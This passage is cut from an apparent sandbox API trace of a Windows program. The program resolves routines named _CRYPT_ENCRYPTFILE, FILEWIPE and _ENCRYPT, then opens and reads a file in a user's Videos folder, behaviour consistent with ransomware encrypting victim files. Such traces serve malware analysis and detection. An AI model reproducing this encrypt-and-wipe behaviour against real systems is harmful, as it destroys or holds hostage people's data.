wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.517] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.517] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.518] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.518] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0029.518] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0029.518] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.518] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.518] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0029.518] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.518] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.518] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.518] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.518] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.518] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.518] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.518] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.518] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.518] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.518] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.518] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.518] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0029.518] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.518] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.518] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.518] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.518] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.518] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.518] CryptReleaseContext (hProv=0xe8f4199650, dwFlags=0x0) returned 1 [0029.518] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.518] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.518] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.519] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.519] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.519] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.521] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.522] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.525] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.525] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0029.525] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.525] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.525] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.525] CharLowerBuffW (in: lpsz="byte[96907]", cchLength=0xb | out: lpsz="byte[96907]") returned 0xb [0029.526] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.526] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0029.526] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.526] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0029.526] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.526] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.526] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.526] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0029.527] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.527] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.527] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.528] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.529] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.529] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.529] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.529] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.529] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.529] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.529] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.529] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.530] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.530] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.530] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.530] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.531] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0029.531] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0029.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileW", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0029.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileW", cchWideChar=12, lpMultiByteStr=0xe8f417b020, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileW", lpUsedDefaultChar=0x0) returned 12 [0029.531] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileW") returned 0x7ffe2a641998 [0029.532] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\Y8VnMyJ1SxKqVr5jsJVF\\LeqeD7m6.flv" (normalized: "c:\\users\\5jghkoaofdp\\videos\\mmzl\\pegwegazbvwtu3n0gz1z\\y8vnmyj1sxkqvr5jsjvf\\leqed7m6.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0029.532] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0029.533] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.533] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.533] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.533] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0029.533] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.533] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.533] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.533] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.533] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.533] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.533] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0029.533] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.533] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.533] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.534] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.534] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.535] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.535] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.535] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0029.535] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.535] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.535] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.535] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.535] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.535] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0029.535] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=11069) returned 1 [0029.535] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.535] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0029.535] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0029.535] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x2b3d, lpOverlapped=0x0) returned 1 [0029.535] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0029.535] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x2b3d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.535] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=11069) returned 1 [0029.536] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.536] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.536] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.536] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.536] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.536] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0029.536] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.536] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0029.536] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.536] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.536] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0029.536] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.536] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.536] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0029.536] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.536] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0029.536] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0029.536] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.539] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.539] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.539] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.539] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.539] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.539] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0029.539] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0029.539] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.539] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.539] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.539] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.539] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.539] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.539] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.540] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.540] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.540] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.540] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0029.540] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.540] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.540] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.540] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0029.540] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.540] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.540] PeekMessageW (in: lpMsg=0xe8f3dfeb20, 